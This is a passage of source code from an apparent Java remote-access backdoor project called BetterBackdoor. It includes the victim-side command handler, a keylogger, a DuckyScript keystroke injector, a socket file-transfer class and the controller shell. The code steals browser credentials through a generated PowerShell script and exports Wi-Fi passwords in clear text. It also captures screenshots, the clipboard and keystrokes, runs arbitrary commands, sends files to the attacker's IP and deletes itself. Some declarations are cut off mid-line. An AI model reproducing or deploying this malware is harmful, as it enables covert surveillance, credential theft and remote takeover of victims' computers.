send = new StringBuilder(Utils.runPSScript(command.substring(3)));
else if (command.startsWith("ds") && file.exists() && DuckyScripts.run(command.substring(3)))
send = new StringBuilder("DuckyScript successfully executed");
else
throw new Exception();
} catch (Exception e) {
send = new StringBuilder("An error occurred when trying to execute script");
if (e.getMessage() != null)
send.append(":\n").append(e.getMessage());
} finally {
try {
FileUtils.forceDelete(file);
} catch (Exception ignored) {
}
}
} else if (command.startsWith("exfiles")) {
File exfiltratedFiles = new File(Backdoor.gatheredDir + "ExfiltratedFiles");
try {
Utils.exfilFiles(command.substring(command.indexOf(" "), command.indexOf("*")),
new ArrayList<>(Arrays.asList(command.substring(command.indexOf("*") + 1).split(","))));
Utils.zipDir(exfiltratedFiles.getAbsolutePath());
FTP.backdoor(exfiltratedFiles.getAbsolutePath() + ".zip", "send", Backdoor.ip);
waitForSocketTransfer();
send = new StringBuilder("Files exfiltrated");
} catch (Exception e) {
send = new StringBuilder("An error occurred when trying to exfiltrate files");
if (e.getMessage() != null)
send.append(":\n").append(e.getMessage());
} finally {
try {
FileUtils.forceDelete(exfiltratedFiles);
FileUtils.forceDelete(new File(exfiltratedFiles.getAbsolutePath() + ".zip"));
} catch (Exception ignored) {
}
}
} else if (command.equals("expass")) {
File exfiltratedPasswords = new File(Backdoor.gatheredDir + "ExfiltratedPasswords");
try {
if (!exfiltratedPasswords.mkdir())
throw new Exception("Could not create directory");
File exfilBrowserCredsScript = new File(
exfiltratedPasswords.getAbsolutePath() + File.separator + "ExfilBrowserCreds.ps1");
PrintWriter out = new PrintWriter(exfilBrowserCredsScript);
out.println("$filename=$PSScriptRoot+\"\\BrowserPasswords.txt\"\n"
+ "[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]\n"
+ "$creds = (New-Object Windows.Security.Credentials.PasswordVault).RetrieveAll()\n"
+ "foreach ($c in $creds) {$c.RetrievePassword()}\n"
+ "$creds | Format-List -Property Resource,UserName,Password | Out-File $filename\n" + "exit");
out.flush();
out.close();
Utils.runPSScript(exfilBrowserCredsScript.getAbsolutePath());
Utils.runCommand("netsh wlan export profile key=clear folder=" + exfiltratedPasswords.getAbsolutePath(), false);
FileUtils.forceDelete(exfilBrowserCredsScript);
Utils.zipDir(exfiltratedPasswords.getAbsolutePath());
FTP.backdoor(exfiltratedPasswords.getAbsolutePath() + ".zip", "send", Backdoor.ip);
waitForSocketTransfer();
send = new StringBuilder("Passwords exfiltrated");
} catch (Exception e) {
send = new StringBuilder("An error occurred when trying to exfiltrate passwords");
if (e.getMessage() != null)
send.append(":\n").append(e.getMessage());
} finally {
try {
FileUtils.forceDelete(exfiltratedPasswords);
FileUtils.forceDelete(new File(exfiltratedPasswords.getAbsolutePath() + ".zip"));
} catch (Exception ignored) {
}
}
} else if (command.startsWith("filetype")) {
File file = new File(command.substring(9));
if (file.isFile())
send = new StringBuilder("file");
else if (file.isDirectory())
send = new StringBuilder("directory");
else
send = new StringBuilder("not real");
} else if (command.startsWith("filesend")) {
try {
FTP.backdoor(command.substring(9), "rec", Backdoor.ip);
waitForSocketTransfer();
send = new StringBuilder("File sent");
} catch (Exception e) {
send = new StringBuilder("An error occurred when trying to send file");
if (e.getMessage() != null)
send.append(":\n").append(e.getMessage());
}
} else if (command.startsWith("filerec")) {
File file = new File(command.substring(8));
try {
if (file.isFile())
FTP.backdoor(file.getAbsolutePath(), "send", Backdoor.ip);
else if (file.isDirectory()) {
Utils.zipDir(file.getAbsolutePath());
FTP.backdoor(file.getAbsolutePath() + ".zip", "send", Backdoor.ip);
}
waitForSocketTransfer();
send = new StringBuilder("File received");
} catch (Exception e) {
send = new StringBuilder("An error occurred when trying to receive file");
if (e.getMessage() != null)
send.append(":\n").append(e.getMessage());
} finally {
try {
if (file.isDirectory())
FileUtils.forceDelete(new File(file.getAbsolutePath() + ".zip"));
} catch (Exception ignored) {
}
}
} else if (command.startsWith("keylog")) {
Thread keyLogger = new Thread(() -> KeyLogger.start(command.substring(7)));
keyLogger.start();
send = new StringBuilder("Keys are being logged to '" + command.substring(7) + "\\keys.log' on victim's computer");
} else if (command.equals("ss")) {
File screenshot = new File(Backdoor.gatheredDir + "screenshot.png");
try {
ImageIO.write(
new Robot().createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize())),
"png", screenshot);
FTP.backdoor(screenshot.getAbsolutePath(), "send", Backdoor.ip);
waitForSocketTransfer();
send = new StringBuilder("Screenshot received");
} catch (Exception e) {
send = new StringBuilder("An error occurred when trying to receive screenshot");
if (e.getMessage() != null)
send.append(":\n").append(e.getMessage());
} finally {
try {
FileUtils.forceDelete(screenshot);
} catch (IOException ignored) {
}
}
} else if (command.equals("cb"))
try {
String clipBoard = (String) Toolkit.getDefaultToolkit().getSystemClipboard()
.getData(DataFlavor.stringFlavor);
if (clipBoard.isEmpty())
send = new StringBuilder("Nothing copied to victim's clipboard");
else
send = new StringBuilder("Victim's clipboard:\n" + clipBoard);
} catch (Exception e) {
send = new StringBuilder("An error occurred when trying to get victim's clipboard");
if (e.getMessage() != null)
send.append(":\n").append(e.getMessage());
}
else if (command.startsWith("cat"))
try {
Scanner in = new Scanner(new File(command.substring(4)));
while (in.hasNextLine())
send.append(in.nextLine()).append("\n");
in.close();
} catch (Exception e) {
send = new StringBuilder("An error occurred when trying to get file");
if (e.getMessage() != null)
send.append(":\n").append(e.getMessage());
}
else if (command.startsWith("zip"))
try {
File dir = new File(command.substring(4));
if (!dir.isDirectory())
throw new Exception("Not a directory");
Utils.zipDir(dir.getAbsolutePath());
send = new StringBuilder("Directory compressed to '" + dir.getAbsolutePath() + ".zip'");
} catch (Exception e) {
send = new StringBuilder("An error occurred when compressing directory");
if (e.getMessage() != null)
send.append(":\n").append(e.getMessage());
}
else if (command.startsWith("unzip"))
try {
String output = Utils.unzip(command.substring(6));
send = new StringBuilder("Contents of ZIP file decompressed to '" + output + "'");
} catch (Exception e) {
send = new StringBuilder("An error occurred when decompressing directory");
if (e.getMessage() != null)
send.append(":\n").append(e.getMessage());
}
else if (command.equals("remove"))
try {
Runtime.getRuntime().exec("cmd /c ping localhost -n 5 > nul && cd " + System.getProperty("user.dir") + " && del /f /q run.jar run.bat && rd /s /q "
+ Backdoor.gatheredDir + " jre");
System.exit(0);
} catch (Exception e) {
send = new StringBuilder("An error occurred when trying to remove files");
if (e.getMessage() != null)
send.append(":\n").append(e.getMessage());
}
else if (!command.isEmpty())
send = new StringBuilder("Command not found");
if (Backdoor.key != null)
Backdoor.out.writeObject(Utils.encrypt(send.toString(), Backdoor.key));
else
Backdoor.out.writeObject(send.toString());
Backdoor.out.flush();
}
/**
* Waits for the socket file transfer to result in either a success or error.
*
* @throws Exception
*/
private static void waitForSocketTransfer() throws Exception {
while (!FTP.socketTransferDone && FTP.error == null)
Thread.sleep(10);
if (FTP.socketTransferDone)
FTP.socketTransferDone = false;
if (FTP.error != null) {
String error = FTP.error;
FTP.error = null;
throw new Exception(error);
}
}
}
================================================
FILE: src/main/java/dev/thatcherclough/betterbackdoor/backend/DuckyScripts.java
================================================
package dev.thatcherclough.betterbackdoor.backend;
import java.awt.Robot;
import java.awt.event.KeyEvent;
import java.io.File;
import java.util.ArrayList;
import java.util.Scanner;
import java.util.stream.Collectors;
public class DuckyScripts {
private static Robot robot;
private static int defaultDelay;
final private static ArrayList
* Cycles though lines from the file with the name {@code filename}. If
* applicable, spaces at end of each line are removed and the line is passed to
* {@link #handleLine} to handle and execute it.
*
* @param filename name of DuckyScript to execute
* @return if DuckyScript was executed successfully
*/
public static boolean run(String filename) {
Scanner in = null;
try {
robot = new Robot();
in = new Scanner(new File(filename));
while (in.hasNextLine()) {
String line = in.nextLine();
while (line.endsWith(" "))
line = line.substring(0, line.length() - 1);
if (!line.isEmpty())
handleLine(line);
}
return true;
} catch (Exception e) {
return false;
} finally {
if (in != null)
in.close();
}
}
/**
* Handles and executes DuckyScript line {@code line}.
*
* {@code line} is split into {@code command} and {@code args} which are then
* mutated to work with {@link java.awt.Robot} {@link #robot}.
*
* @param line line to handle and execute
* @throws InterruptedException
* @throws IllegalArgumentException
* @throws IllegalAccessException
* @throws NoSuchFieldException
* @throws SecurityException
*/
private static void handleLine(String line) throws InterruptedException, IllegalArgumentException,
IllegalAccessException, NoSuchFieldException, SecurityException {
String command = line;
String args = "";
if (line.contains(" ")) {
command = line.substring(0, line.indexOf(" "));
args = line.substring(line.indexOf(" ") + 1);
}
if (command.equals("GUI"))
command = "WINDOWS";
else if (args.equals("GUI"))
args = "WINDOWS";
else if (command.equals("PAGEUP") || command.equals("PAGEDOWN"))
command = command.replace("PAGE", "PAGE_");
else if (args.equals("PAGEUP") || args.equals("PAGEDOWN"))
args = args.replace("PAGE", "PAGE_");
else if (command.equals("UPARROW") || command.equals("DOWNARROW") || command.equals("LEFTARROW")
|| command.equals("RIGHTARROW"))
command = command.replace("ARROW", "");
else if (args.equals("UPARROW") || args.equals("DOWNARROW") || args.equals("LEFTARROW")
|| args.equals("RIGHTARROW"))
args = args.replace("ARROW", "");
else if (command.equals("MENU") || command.equals("APP")) {
command = "SHIFT";
args = "F10";
} else if (command.equals("CTRL"))
command = "CONTROL";
else if (command.equals("CAPSLOCK"))
command = "CAPS_LOCK";
else if (command.equals("NUMLOCK"))
command = "NUM_LOCK";
else if (command.equals("SCROLLLOCK"))
command = "SCROLL_LOCK";
else if (args.equals("ESC"))
args = "ESCAPE";
else if (args.equals("BREAK"))
args = "PAUSE";
if (command.equals("DEFAULT_DELAY") || command.equals("DEFAULTDELAY"))
defaultDelay = Integer.parseInt(args);
else if (command.equals("DELAY"))
Thread.sleep(Integer.parseInt(args));
else if (command.equals("STRING")) {
type(args);
} else if (command.equals("WINDOWS") || command.equals("SHIFT") || command.equals("CONTROL")
|| command.equals("ALT")) {
robot.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null));
if (!args.isEmpty()) {
robot.keyPress(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null));
robot.keyRelease(KeyEvent.class.getField("VK_" + args.toUpperCase()).getInt(null));
}
robot.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null));
} else if (!line.startsWith("REM")) {
robot.keyPress(KeyEvent.class.getField("VK_" + command).getInt(null));
robot.keyRelease(KeyEvent.class.getField("VK_" + command).getInt(null));
}
Thread.sleep(defaultDelay);
}
/**
* Uses {@link java.awt.Robot} {@link #robot} to simulate typing {@code toType}.
*
* @param toType String to type
*/
private static void type(String toType) {
for (char c : toType.toCharArray())
if (regKeys.contains(c)) {
robot.keyPress(KeyEvent.getExtendedKeyCodeForChar(c));
robot.keyRelease(KeyEvent.getExtendedKeyCodeForChar(c));
} else {
robot.keyPress(KeyEvent.VK_SHIFT);
robot.keyPress(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c))));
robot.keyRelease(KeyEvent.getExtendedKeyCodeForChar(regKeys.get(shiftKeys.indexOf(c))));
robot.keyRelease(KeyEvent.VK_SHIFT);
}
}
}
================================================
FILE: src/main/java/dev/thatcherclough/betterbackdoor/backend/FTP.java
================================================
package dev.thatcherclough.betterbackdoor.backend;
import java.io.File;
import java.io.IOException;
import java.io.RandomAccessFile;
import java.net.InetSocketAddress;
import java.net.SocketAddress;
import java.nio.Buffer;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.nio.channels.ServerSocketChannel;
import java.nio.channels.SocketChannel;
public class FTP {
public static boolean socketTransferDone = false;
public static String error = null;
/**
* Transfers a file with client.
*
* Opens {@link java.nio.channels.ServerSocketChannel}
* {@code serverSocketChannel} and {@link java.nio.channels.SocketChannel}
* {@code socketChannel} for transferring a file with client. If
* {@code protocol} is "send", uses {@link #send} to send file with path
* {@code filePath} to client. If {@code protocol} is "rec", uses {@link #rec}
* to receive file with path {@code filePath} from client.
*
* @param filePath path of file to transfer
* @param protocol if file should be sent or received
*/
public static void shell(String filePath, String protocol) {
Thread thread = new Thread(() -> {
ServerSocketChannel serverSocketChannel = null;
SocketChannel socketChannel = null;
try {
serverSocketChannel = ServerSocketChannel.open();
serverSocketChannel.socket().bind(new InetSocketAddress(1026));
socketChannel = serverSocketChannel.accept();
if (protocol.equals("send"))
send(filePath, socketChannel);
else if (protocol.equals("rec"))
rec(filePath, socketChannel);
} catch (Exception ignored) {
} finally {
try {
if (serverSocketChannel != null)
serverSocketChannel.close();
if (socketChannel != null)
socketChannel.close();
} catch (Exception ignored) {
}
}
});
thread.start();
}
/**
* Transfers a file with server.
*
* Opens {@link java.nio.channels.SocketChannel} {@code socketChannel} for
* transferring file with server with an IP address of {@code ip}. If
* {@code protocol} is "send", uses {@link #send} to send file with path
* {@code filePath} to server. If {@code protocol} is "rec", uses {@link #rec}
* to receive file with path {@code filePath} from server.
*
* @param filePath path of file to transfer
* @param protocol if file should be sent or received
* @param ip IP address of server to transfer file with
*/
public static void backdoor(String filePath, String protocol, String ip) {
Thread thread = new Thread(() -> {
SocketChannel socketChannel = null;
try {
Thread.sleep(2000);
socketChannel = SocketChannel.open();
SocketAddress socketAddress = new InetSocketAddress(ip, 1026);
socketChannel.connect(socketAddress);
if (protocol.equals("send"))
send(filePath, socketChannel);
else if (protocol.equals("rec"))
rec(filePath, socketChannel);
socketChannel.close();
socketTransferDone = true;
} catch (Exception e) {
error = e.getMessage();
} finally {
try {
if (socketChannel != null)
socketChannel.close();
} catch (Exception ignored) {
}
}
});
thread.start();
}
/**
* Sends file with path {@code filePath} using {@code socketChannel} and
* {@code fileChannel}.
*
* @param filePath path of file to send
* @param socketChannel {@link java.nio.channels.SocketChannel} to use for
* sending
* @throws IOException
*/
private static void send(String filePath, SocketChannel socketChannel) throws IOException {
RandomAccessFile file = new RandomAccessFile(new File(filePath), "r");
FileChannel fileChannel = file.getChannel();
ByteBuffer buffer = ByteBuffer.allocate(1024);
while (fileChannel.read(buffer) > 0) {
((Buffer) buffer).flip();
socketChannel.write(buffer);
((Buffer) buffer).clear();
}
file.close();
fileChannel.close();
}
/**
* Receives file with path {@code filePath} using {@code socketChannel} and
* {@code fileChannel}.
*
* @param filePath path of file to receive
* @param socketChannel {@link java.nio.channels.SocketChannel} to use for
* receiving
* @throws IOException
*/
private static void rec(String filePath, SocketChannel socketChannel) throws IOException {
RandomAccessFile file = new RandomAccessFile(filePath, "rw");
FileChannel fileChannel = file.getChannel();
ByteBuffer buffer = ByteBuffer.allocate(1024);
while (socketChannel.read(buffer) > 0) {
((Buffer) buffer).flip();
fileChannel.write(buffer);
((Buffer) buffer).clear();
}
file.close();
fileChannel.close();
}
}
================================================
FILE: src/main/java/dev/thatcherclough/betterbackdoor/backend/KeyLogger.java
================================================
package dev.thatcherclough.betterbackdoor.backend;
import java.io.BufferedWriter;
import java.io.File;
import java.io.FileWriter;
import java.io.PrintWriter;
import org.jnativehook.GlobalScreen;
import org.jnativehook.keyboard.NativeKeyEvent;
import org.jnativehook.keyboard.NativeKeyListener;
public class KeyLogger implements NativeKeyListener {
private static PrintWriter out;
private boolean shift = false;
/**
* Starts a key logger and logs keys to {@code dir}\keys.log.
*
* @param dir directory to log keys to
*/
public static void start(String dir) {
try {
out = new PrintWriter(new BufferedWriter(new FileWriter(dir + File.separator + "keys.log", true)));
GlobalScreen.registerNativeHook();
GlobalScreen.addNativeKeyListener(new KeyLogger());
} catch (Exception e) {
if (out != null)
out.close();
}
}
/*
* @see
* org.jnativehook.keyboard.NativeKeyListener#nativeKeyPressed(org.jnativehook.
* keyboard.NativeKeyEvent)
*/
@Override
public void nativeKeyPressed(NativeKeyEvent key) {
String pressed = NativeKeyEvent.getKeyText(key.getKeyCode());
if (pressed.equals("Shift"))
shift = true;
if (key.isActionKey())
out.print("[" + pressed + "]");
else if (pressed.equals("Backspace"))
out.print("[Back]");
else if (pressed.equals("Space"))
out.print(" ");
else if (pressed.equals("Tab"))
out.print("\t");
else if (pressed.equals("Enter"))
out.println();
else if (shift) {
if (pressed.matches("[A-Z]"))
out.print(pressed);
else if (pressed.equals("1"))
out.print("!");
else if (pressed.equals("2"))
out.print("@");
else if (pressed.equals("3"))
out.print("#");
else if (pressed.equals("4"))
out.print("$");
else if (pressed.equals("5"))
out.print("%");
else if (pressed.equals("6"))
out.print("^");
else if (pressed.equals("7"))
out.print("&");
else if (pressed.equals("8"))
out.print("*");
else if (pressed.equals("9"))
out.print("(");
else if (pressed.equals("0"))
out.print(")");
else if (pressed.equals("Minus"))
out.print("_");
else if (pressed.equals("Equals"))
out.print("+");
else if (pressed.equals("Open Bracket"))
out.print("{");
else if (pressed.equals("Close Bracket"))
out.print("}");
else if (pressed.equals("Back Slash"))
out.print("|");
else if (pressed.equals("Semicolon"))
out.print(":");
else if (pressed.equals("Quote"))
out.print("\"");
else if (pressed.equals("Comma"))
out.print("<");
else if (pressed.equals("Period"))
out.print(">");
else if (pressed.equals("Dead Acute"))
out.print("?");
else if (pressed.equals("Back Quote"))
out.print("~");
} else {
if (pressed.matches("[a-zA-Z0-9]"))
out.print(pressed.toLowerCase());
else if (pressed.equals("Minus"))
out.print("-");
else if (pressed.equals("Equals"))
out.print("=");
else if (pressed.equals("Open Bracket"))
out.print("[");
else if (pressed.equals("Close Bracket"))
out.print("]");
else if (pressed.equals("Back Slash"))
out.print("\\");
else if (pressed.equals("Semicolon"))
out.print(";");
else if (pressed.equals("Quote"))
out.print("'");
else if (pressed.equals("Comma"))
out.print(",");
else if (pressed.equals("Period"))
out.print(".");
else if (pressed.equals("Dead Acute"))
out.print("/");
else if (pressed.equals("Back Quote"))
out.print("`");
}
out.flush();
}
/*
* @see
* org.jnativehook.keyboard.NativeKeyListener#nativeKeyReleased(org.jnativehook.
* keyboard.NativeKeyEvent)
*/
@Override
public void nativeKeyReleased(NativeKeyEvent key) {
if (NativeKeyEvent.getKeyText(key.getKeyCode()).equals("Shift"))
shift = false;
}
/*
* @see
* org.jnativehook.keyboard.NativeKeyListener#nativeKeyTyped(org.jnativehook.
* keyboard.NativeKeyEvent)
*/
@Override
public void nativeKeyTyped(NativeKeyEvent key) {
}
}
================================================
FILE: src/main/java/dev/thatcherclough/betterbackdoor/backend/Utils.java
================================================
package dev.thatcherclough.betterbackdoor.backend;
import java.io.*;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.net.URL;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.*;
import java.util.zip.ZipEntry;
import java.util.zip.ZipFile;
import java.util.zip.ZipOutputStream;
import dev.thatcherclough.betterbackdoor.backdoor.Backdoor;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.IOUtils;
import javax.crypto.*;
import javax.crypto.spec.SecretKeySpec;
public class Utils {
public static String currentCMDDirectory = System.getProperty("user.dir");
/**
* Runs command {@code command} in the current machine's command prompt and
* returns response. If {@code dynamicWorkingDirectory} is set to true,
* whenever the current directory changes, {@code currentCMDDirectory} is updated accordingly.
*
* @param command command to run
* @param dynamicWorkingDirectory if {@code currentCMDDirectory} should be updated
* @return response from running command
*/
public static String runCommand(String command, boolean dynamicWorkingDirectory) {
StringBuilder resp = new StringBuilder();
BufferedReader bufferedReader = null;
try {
ProcessBuilder builder;
if (dynamicWorkingDirectory) {
builder = new ProcessBuilder("cmd.exe", "/c", command + " && echo current CMD path: && cd");
builder.directory(new File(currentCMDDirectory));
} else
builder = new ProcessBuilder("cmd.exe", "/c", command);
builder.redirectErrorStream(true);
bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream()));
while (true) {
String line = bufferedReader.readLine();
if (line == null) {
while (resp.toString().endsWith("\n"))
resp = new StringBuilder(resp.substring(0, resp.length() - 1));
break;
}
if (dynamicWorkingDirectory && line.startsWith("current CMD path:"))
currentCMDDirectory = bufferedReader.readLine();
else
resp.append(line).append("\n");
}
if (resp.toString().length() == 0)
return "Command did not produce a response";
else
return resp.toString();
} catch (Exception e) {
resp = new StringBuilder("An error occurred when trying to run command");
if (e.getMessage() != null)
resp.append(":\n").append(e.getMessage());
return resp.toString();
} finally {
try {
if (bufferedReader != null)
bufferedReader.close();
} catch (Exception ignored) {
}
}
}
/**
* Uses {@link #runCommand(String, boolean)} to run the PowerShell script with the name
* {@code filename}.
*
* @param filename name of script to run
* @return response from running script
*/
public static String runPSScript(String filename) {
return runCommand("Powershell.exe -executionpolicy remotesigned -File " + filename, false);
}
/**
* Copies all files that have extensions in {@code exts} from {@code root} to
* {@link Backdoor#gatheredDir}\ExfiltratedFiles'.
*
* @param root directory to copy files from
* @param exts list of extensions of files to copy
* @throws IOException
*/
public static void exfilFiles(String root, ArrayList
* Creates server on port 1025 for client to connect to. Runs {@link Connector#start()} to find
* all possible clients and prompts user to select client to connect to if their are multiple clients.
* Once client has connected, starts an infinite loop that gets command {@code command} from
* user and handles it with {@link HandleCommand#handle}.
*/
public static void start() {
System.out.println("Searching for clients...\n");
try {
ServerSocket serverSocket = new ServerSocket(1025);
while (connectedMachines.size() == 0) {
Connector connector = new Connector(serverSocket);
connector.start();
Thread.sleep(5000);
connector.interrupt();
if (connectedMachines.size() == 0)
System.out.println("No clients found. Searching again...\n");
}
if (connectedMachines.size() == 1) {
System.out.println("Found client.");
socket = connectedMachines.get(0);
} else {
System.out.println("Select client to connect to:");
StringBuilder opString = new StringBuilder("op");
for (int k = 0; k < connectedMachines.size(); k++) {
System.out.println("[" + k + "] " + connectedMachines.get(k).getInetAddress());
opString.append(k);
}
String option = BetterBackdoor.getInput(opString.toString());
for (int k = 0; k < connectedMachines.size(); k++)
if (option.equals(Integer.toString(k)))
socket = connectedMachines.get(k);
else
connectedMachines.get(k).close();
}
connectedMachines.clear();
out = new ObjectOutputStream(socket.getOutputStream());
in = new ObjectInputStream(socket.getInputStream());
String isEncryptedString = (String) in.readObject();
if (isEncryptedString.equals("true")) {
Scanner keysIn = new Scanner(new File("keys.txt"));
while (keysIn.hasNextLine()) {
String possibleKey = keysIn.nextLine();
try {
String trueEncrypted = Utils.encrypt("true", possibleKey);
out.writeObject(trueEncrypted);
out.flush();
String response = (String) in.readObject();
if (response.equals("true")) {
key = possibleKey;
break;
}
} catch (Exception ignored) {
}
}
if (key == null)
System.out.println("Could not automatically find encryption key.");
while (key == null) {
System.out.println("Enter encryption key:");
String possibleKey = BetterBackdoor.getInput("");
try {
String trueEncrypted = Utils.encrypt("true", possibleKey);
out.writeObject(trueEncrypted);
out.flush();
String response = (String) in.readObject();
if (response.equals("true")) {
key = possibleKey;
break;
} else
throw new Exception();
} catch (Exception e) {
System.out.println("Incorrect key.");
}
}
}
new File("gathered").mkdir();
System.out.println("Connection has been established to " + socket.getInetAddress());
System.out.println("Enter 'help' for a list of available commands");
while (true)
HandleCommand.handle(BetterBackdoor.getInput(""));
} catch (Exception e) {
if (e.getMessage().equals("String index out of range: -1")
|| e.getMessage().equals("begin 0, end -1, length 0"))
BetterBackdoor.error("The victim's computer has disconnected");
else
BetterBackdoor.error(e.getMessage());
} finally {
try {
if (socket != null)
socket.close();
if (in != null)
in.close();
if (out != null)
out.close();
} catch (Exception ignored) {
}
}
}
}
class Connector extends Thread {
private ServerSocket serverSocket = null;
public Connector(ServerSocket serverSocket) {
this.serverSocket = serverSocket;
}
/**
* Attempts to accept connections to {@link Connector#serverSocket} and add the produced sockets to
* {@link Shell#connectedMachines}.
*/
public void run() {
while (true) {
try {
Socket socket = serverSocket.accept();
Shell.connectedMachines.add(socket);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}